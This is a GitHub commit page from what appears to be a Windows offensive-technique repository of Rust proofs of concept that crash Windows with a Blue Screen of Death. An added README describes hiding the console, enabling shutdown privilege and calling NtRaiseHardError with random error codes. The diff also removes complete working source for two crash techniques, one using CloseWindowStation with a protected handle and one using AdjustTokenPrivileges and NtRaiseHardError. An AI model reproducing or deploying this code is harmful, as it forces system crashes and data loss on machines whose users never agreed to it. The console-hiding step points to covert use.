Skip to content

Commit 5d78e2f

Browse files
committed
Changing Repo Structure
Writing PoC for Each Technique and keeping it structured
1 parent 684e260 commit 5d78e2f

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

84 files changed

+21353
-24314
lines changed

BSOD/bsod_NtRaiseHardError/README.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# BSOD NtRaiseHardError
2+
3+
This Rust program demonstrates how to trigger a Blue Screen of Death (BSOD) using NtRaiseHardError with random error codes.
4+
5+
## Features
6+
- Hides the console window
7+
- Sets process priority to high
8+
- Enables shutdown privileges using RtlAdjustPrivilege
9+
- Generates random BSOD error codes
10+
- Triggers BSOD using NtRaiseHardError
11+
- Shows error message in case of failure
12+
13+
## Dependencies
14+
- winapi
15+
- ntapi
16+
17+
## Usage
18+
1. Build the project:
19+
```bash
20+
cargo build --release
21+
```
22+
23+
2. Run the executable:
24+
```bash
25+
cargo run --release
26+
```
27+
28+
## Technical Details
29+
- Uses RtlAdjustPrivilege to enable shutdown privileges (privilege ID: 19)
30+
- Generates random error codes in the format: 0xC000_0000 | ((random & 0xF00) << 8) | ((random & 0xF0) << 4) | (random & 0xF)
31+
- Sets process priority to HIGH_PRIORITY_CLASS
32+
- Hides the console window using ShowWindow with SW_HIDE
33+
34+
## Warning
35+
This program is for educational purposes only. Running it will cause your system to crash with a Blue Screen of Death.
36+
37+
## Author
38+
@5mukx

BSOD/closewindowstation/Cargo.lock

Lines changed: 0 additions & 25 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

BSOD/closewindowstation/Cargo.toml

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,3 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7-
winapi = { version = "0.3", features = ["winuser", "winbase", "handleapi", "wincon"] }

BSOD/closewindowstation/README.md

Lines changed: 0 additions & 28 deletions
This file was deleted.

BSOD/closewindowstation/src/main.rs

Lines changed: 1 addition & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,40 +1,3 @@
1-
/*
2-
Trigger BSOD Using CloseWindowStation()
3-
@5mukx
4-
*/
5-
6-
use std::ptr::null_mut;
7-
8-
use winapi::{
9-
ctypes::c_void,
10-
shared::{minwindef::HWINSTA, windef::HWND},
11-
um::{
12-
handleapi::SetHandleInformation,
13-
minwinbase::SECURITY_ATTRIBUTES,
14-
winbase::HANDLE_FLAG_PROTECT_FROM_CLOSE,
15-
wincon::GetConsoleWindow,
16-
winuser::{CreateWindowStationA, ShowWindow, SW_HIDE},
17-
},
18-
};
19-
201
fn main() {
21-
unsafe {
22-
let hwnd: HWND = GetConsoleWindow();
23-
ShowWindow(hwnd, SW_HIDE);
24-
25-
let dwaddr: u32 = 0x80000000 | 0x40000000;
26-
27-
let hwinsta: HWINSTA = CreateWindowStationA(
28-
"WindowStation\0".as_ptr() as *const i8,
29-
0,
30-
dwaddr,
31-
null_mut() as *mut SECURITY_ATTRIBUTES,
32-
);
33-
34-
SetHandleInformation(
35-
hwinsta as *mut c_void,
36-
HANDLE_FLAG_PROTECT_FROM_CLOSE,
37-
HANDLE_FLAG_PROTECT_FROM_CLOSE,
38-
);
39-
}
2+
println!("Hello, world!");
403
}

BSOD/lookupprivilegevalue/Cargo.lock

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

BSOD/lookupprivilegevalue/Cargo.toml

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,5 +4,3 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7-
winapi = { version = "0.3", features = ["processthreadsapi", "securitybaseapi", "winbase", "winnt", "errhandlingapi"] }
8-
ntapi = { version = "0.4", features = ["ntexapi"] }

BSOD/lookupprivilegevalue/README.md

Lines changed: 0 additions & 31 deletions
This file was deleted.

BSOD/lookupprivilegevalue/src/main.rs

Lines changed: 1 addition & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -1,67 +1,3 @@
1-
/*
2-
Program to invoke BSOD setting up privileges and provoking NtRaiseHardError.
3-
@5mukx
4-
*/
5-
6-
use std::ptr;
7-
use ntapi::ntexapi::NtRaiseHardError;
8-
use winapi::shared::ntstatus::STATUS_ASSERTION_FAILURE;
9-
use winapi::shared::wtypesbase::ULONG;
10-
use winapi::um::processthreadsapi::GetCurrentProcess;
11-
use winapi::um::processthreadsapi::OpenProcessToken;
12-
use winapi::um::securitybaseapi::AdjustTokenPrivileges;
13-
use winapi::um::winnt::{LUID, SE_PRIVILEGE_ENABLED, SE_SHUTDOWN_NAME, TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES, TOKEN_QUERY};
14-
use winapi::um::winbase::LookupPrivilegeValueA;
15-
use winapi::um::errhandlingapi::GetLastError;
16-
use std::ffi::CString;
17-
181
fn main() {
19-
println!("Press any key to trigger a BSOD.");
20-
let mut input = String::new();
21-
std::io::stdin().read_line(&mut input).unwrap();
22-
23-
unsafe {
24-
let mut token_handle: winapi::um::winnt::HANDLE = ptr::null_mut();
25-
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &mut token_handle) == 0 {
26-
println!("Failed to open process token.");
27-
return;
28-
}
29-
30-
let mut luid: LUID = LUID { LowPart: 0, HighPart: 0 };
31-
let shutdown_privilege = CString::new(SE_SHUTDOWN_NAME).unwrap();
32-
if LookupPrivilegeValueA(ptr::null(), shutdown_privilege.as_ptr(), &mut luid) == 0 {
33-
println!("Failed to lookup privilege value. Error: {}", GetLastError());
34-
return;
35-
}
36-
37-
let tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
38-
PrivilegeCount: 1,
39-
Privileges: [winapi::um::winnt::LUID_AND_ATTRIBUTES {
40-
Luid: luid,
41-
Attributes: SE_PRIVILEGE_ENABLED,
42-
}],
43-
};
44-
45-
AdjustTokenPrivileges(token_handle, 0, &tp as *const _ as *mut _, 0, ptr::null_mut(), ptr::null_mut());
46-
47-
if GetLastError() != 0 {
48-
println!("Failed to adjust token privileges. Error: {}", GetLastError());
49-
return;
50-
}
51-
52-
// Raise hard error
53-
let mut response: ULONG = 0;
54-
let status = NtRaiseHardError(
55-
STATUS_ASSERTION_FAILURE,
56-
0,
57-
0,
58-
ptr::null_mut(),
59-
6,
60-
&mut response
61-
);
62-
63-
if status != 0 {
64-
println!("Failed to raise hard error. Status: {}", status);
65-
}
66-
}
2+
println!("Hello, world!");
673
}

BSOD/ntsd_winlogon/Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,4 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7-
winapi = { version = "0.3", features = ["wincon", "tlhelp32", "handleapi", "winuser"] }
7+
winapi = { version = "0.3.9", features = ["handleapi", "winbase", "winuser", "winnt", "wincon", "tlhelp32"] }

BSOD/ntsd_winlogon/README.md

Lines changed: 0 additions & 29 deletions
This file was deleted.

BSOD/ntsetinformationprocess/Cargo.lock

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

BSOD/ntsetinformationprocess/Cargo.toml

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,5 +4,3 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7-
winapi = { version = "0.3", features = ["processthreadsapi", "securitybaseapi", "winbase", "winnt", "errhandlingapi"] }
8-
ntapi = { version = "0.4", features = ["ntpsapi"] }

BSOD/ntsetinformationprocess/README.md

Lines changed: 0 additions & 32 deletions
This file was deleted.

0 commit comments

Comments
 (0)